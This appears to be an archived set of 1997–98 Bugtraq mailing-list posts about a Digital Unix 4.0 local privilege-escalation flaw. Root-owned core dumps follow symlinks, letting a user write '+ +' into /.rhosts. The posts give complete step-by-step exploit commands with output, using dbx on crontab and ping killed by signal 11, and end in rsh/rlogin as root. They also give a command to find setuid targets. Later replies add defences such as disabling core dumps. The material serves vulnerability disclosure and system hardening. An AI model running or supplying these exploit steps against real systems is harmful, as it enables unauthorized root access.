Core file problem with Digital Unix 4.0

Date: Sun, 16 Nov 1997 14:45:23 -0500 (EST)
From: John McDonald <jmcdonal@osprey.unf.edu>
To: fyodor@nmap.org
Subject: digital unix 4.0 hole (fwd)

I've had like 9 people write me and confirm that this works on Digital 
Unix 4.0 and 4.0B, but not Digital Unix 3.x..

---------- Forwarded message ----------
Date: Fri, 14 Nov 1997 12:37:20 -0500
From: John McDonald <jmcdonal@OSPREY.UNF.EDU>
To: BUGTRAQ@NETSPACE.ORG
Subject: digital unix 4.0 hole

I've verified this on 3 boxes running Digital unix 4.0..

If you run dbx (tested on 3.11.10) on a setuid root program that you have
read access to, the program will core dump and create a root owned 600
perm core in the current directory. You might have to run dbx one or two
times to get it to work.. The message you are looking for is:

dbx version 3.11.10
Type 'help' for help.

warning: /bin/crontab has no symbol table -- very little is supported
without it


Could not attach to process 10112

cannot run program
Exiting due to error during startup

Now, this core dump will follow symlinks.. and using the trick mentioned
earlier with embedding + + in a core dump, you can easily grab root.

ln -s /.rhosts core
BOB42="

+ +

"
export BOB42
dbx /bin/crontab
rsh -l root localhost /bin/sh -i

I'm not sure this will work on other Digital Unix boxes, and I'm not sure
why it works.. So, email me if you get it to work.. I'm not sure, but I
think this might be a bug in the process-tracing implementation..

I think this will locate all of the vulnerable setuid binaries -
find / -perm -4004 -print

humble  -  jmcdonal@unf.edu

Here are a few more posts that look similar:



Date: Sun, 6 Apr 1997 18:32:39 +0200
From: root <rusty@mad.it>
To: BUGTRAQ@NETSPACE.ORG
Subject: Symlink problem (Tested only on a Digital Unix 4.0)

    [The following text is in the "iso-8859-1" character set]
    [Your display is set for the "US-ASCII" character set]
    [Some characters may be displayed incorrectly]

Symlink problem in Digital Unix 4.0, discovered by |-ru5ty- and [SoReN]
(28/03/1998)

Starting 2 suid root programs in background, and killing them with -11 flag,
we'll have a core root owned with our gid and mode 600. Then is enough a
symlink
to create a file everywhere...like /.rhosts.

rusty@mad.it soren@atlink.it

$ ls -l /.rhosts
/.rhosts not found
$ ls -l /usr/sbin/ping
-rwsr-xr-x   1 root     bin        32768 Nov 16  1996 /usr/sbin/ping
$ ln -s /.rhosts core
$ IMP='
>+ +
>'
$ ping somehost &
[1] 1337
$ ping somehost &
[2] 31337
$ kill -11 31337
$ kill -11 1337
[1]    Segmentation fault   /usr/sbin/ping somehost (core dumped)
[2]    +Segmentation fault   /usr/sbin/ping somehost (core dumped)
$ ls -l /.rhosts
-rw-------   1 root     system    385024 Mar 29 05:17 /.rhosts
 ##/.rhosts has been created....that's all.##
$ rlogin localhost -l root

Is a very serious problem, it needs a fix as soon as possible,
infact we can have a DoS if we link our core to the kernel.


Other platforms:

SunOs    4.1.x 5.5.x    Doesn't work
Linux       2.0.x             Doesn't work
Digital Unix 4.0d         Doesn't work
Others     (note tested yet)
Date: Mon, 6 Apr 1998 15:21:20 -0400
From: "Jonathan A. Zdziarski" <jonz@NETRAIL.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Symlink problem (Tested only on a Digital Unix 4.0)

BSDi 3.1 -> Didn't Work
Solaris 2.6 (Intel) -> Didn't work

Just to confirm:
DEC Unix 4.0d:
21158 Memory fault - core dumped
$ ls -la core
21159 Memory fault - core dumped
lrwxrwxrwx   1 jonz     staff          8 Apr  6 15:18 core -> /.rhosts
$ ls -la /.rhosts
-rw-------   1 root     system    458752 Apr  6 15:18 /.rhosts
$

Thank you,

Jonathan A. Zdziarski
Systems Administrator
Netrail Incorporated
888-NETRAIL
jonz@netrail.net

On Sun, 6 Apr 1997, root wrote:

:Symlink problem in Digital Unix 4.0, discovered by |-ru5ty- and [SoReN]
:(28/03/1998)
:
:Starting 2 suid root programs in background, and killing them with -11 flag,
:we'll have a core root owned with our gid and mode 600. Then is enough a
:symlink
:to create a file everywhere...like /.rhosts.
:
:rusty@mad.it soren@atlink.it
:
:$ ls -l /.rhosts
:/.rhosts not found
:$ ls -l /usr/sbin/ping
:-rwsr-xr-x   1 root     bin        32768 Nov 16  1996 /usr/sbin/ping
:$ ln -s /.rhosts core
:$ IMP='
:>+ +
:>'
:$ ping somehost &
:[1] 1337
:$ ping somehost &
:[2] 31337
:$ kill -11 31337
:$ kill -11 1337
:[1]    Segmentation fault   /usr/sbin/ping somehost (core dumped)
:[2]    +Segmentation fault   /usr/sbin/ping somehost (core dumped)
:$ ls -l /.rhosts
:-rw-------   1 root     system    385024 Mar 29 05:17 /.rhosts
: ##/.rhosts has been created....that's all.##
:$ rlogin localhost -l root
:
:Is a very serious problem, it needs a fix as soon as possible,
:infact we can have a DoS if we link our core to the kernel.
:
:
:Other platforms:
:
:SunOs    4.1.x 5.5.x    Doesn't work
:Linux       2.0.x             Doesn't work
:Digital Unix 4.0d         Doesn't work
:Others     (note tested yet)
:
Date: Tue, 7 Apr 1998 09:17:56 +1000
From: Paul Szabo <psz@MATHS.USYD.EDU.AU>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Symlink problem (Tested only on a Digital Unix 4.0)

(Aleph1 and rusty: please ignore my previous, similar message...)

rusty@mad.it wrote:
> Symlink problem in Digital Unix 4.0 ...
> Starting 2 suid root programs ... and killing them with -11 flag ...
> $ ln -s /.rhosts core
> $ ping somehost &
> [1] 1337
> $ ping somehost &
> [2] 31337
> $ kill -11 31337
> $ kill -11 1337
> [1]    Segmentation fault   /usr/sbin/ping somehost (core dumped)
> [2]    +Segmentation fault   /usr/sbin/ping somehost (core dumped)
> $ ls -l /.rhosts
> -rw-------   1 root     system    385024 Mar 29 05:17 /.rhosts
>
> Other platforms:
>
> SunOs    4.1.x 5.5.x    Doesn't work
> Linux       2.0.x             Doesn't work
> Digital Unix 4.0d         Doesn't work
> Others     (note tested yet)

I can reproduce this on Digital Unix 4.0B (OSF1 V4.0 564), with just one
setuid program:

% unsetenv DISPLAY; xterm

The only defence I can offer is to put the following line into the file
/sbin/rc3 (this is a sh script; most processes run by users are descendants
of this):

ulimit -h -c 0

However this does not work for processes started from /etc/inittab: getty
(console and tty) logins. Instead of modifying /sbin/rc3, you could try
changing /etc/inittab to read something like:

s3:3:wait:sh -c 'ulimit -h -c 0; /sbin/rc3 < /dev/console > /dev/console 2>&1'
cons:1234:respawn:sh -c 'ulimit -h -c 0; /usr/sbin/getty console console vt100'

Obviously this prevents creating core files in all cases; fortunately our
users never need them to debug their own programs.

Paul Szabo - System Manager   //        School of Mathematics and Statistics
psz@maths.usyd.edu.au         //   University of Sydney, NSW 2006, Australia
Date: Tue, 7 Apr 1998 13:09:55 -0400
From: John McDonald <jmcdonal@UNF.EDU>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Symlink problem (Tested only on a Digital Unix 4.0)

It seems also that if you do not have read privileges on a program that
you execute, it will not core dump. So another quick fix to this problem
would be to take read permissions away on all your suids.

humble

On Tue, 7 Apr 1998, Paul Szabo wrote:

> (Aleph1 and rusty: please ignore my previous, similar message...)
>
> rusty@mad.it wrote:
> > Symlink problem in Digital Unix 4.0 ...
> > Starting 2 suid root programs ... and killing them with -11 flag ...
> > $ ln -s /.rhosts core
> > $ ping somehost &
> > [1] 1337
> > $ ping somehost &
> > [2] 31337
> > $ kill -11 31337
> > $ kill -11 1337
> > [1]    Segmentation fault   /usr/sbin/ping somehost (core dumped)
> > [2]    +Segmentation fault   /usr/sbin/ping somehost (core dumped)
> > $ ls -l /.rhosts
> > -rw-------   1 root     system    385024 Mar 29 05:17 /.rhosts
> >
> > Other platforms:
> >
> > SunOs    4.1.x 5.5.x    Doesn't work
> > Linux       2.0.x             Doesn't work
> > Digital Unix 4.0d         Doesn't work
> > Others     (note tested yet)
>
> I can reproduce this on Digital Unix 4.0B (OSF1 V4.0 564), with just one
> setuid program:
>
> % unsetenv DISPLAY; xterm
>
> The only defence I can offer is to put the following line into the file
> /sbin/rc3 (this is a sh script; most processes run by users are descendants
> of this):
>
> ulimit -h -c 0
>
> However this does not work for processes started from /etc/inittab: getty
> (console and tty) logins. Instead of modifying /sbin/rc3, you could try
> changing /etc/inittab to read something like:
>
> s3:3:wait:sh -c 'ulimit -h -c 0; /sbin/rc3 < /dev/console > /dev/console 2>&1'
> cons:1234:respawn:sh -c 'ulimit -h -c 0; /usr/sbin/getty console console vt100'
>
> Obviously this prevents creating core files in all cases; fortunately our
> users never need them to debug their own programs.
>
> Paul Szabo - System Manager   //        School of Mathematics and Statistics
> psz@maths.usyd.edu.au         //   University of Sydney, NSW 2006, Australia
>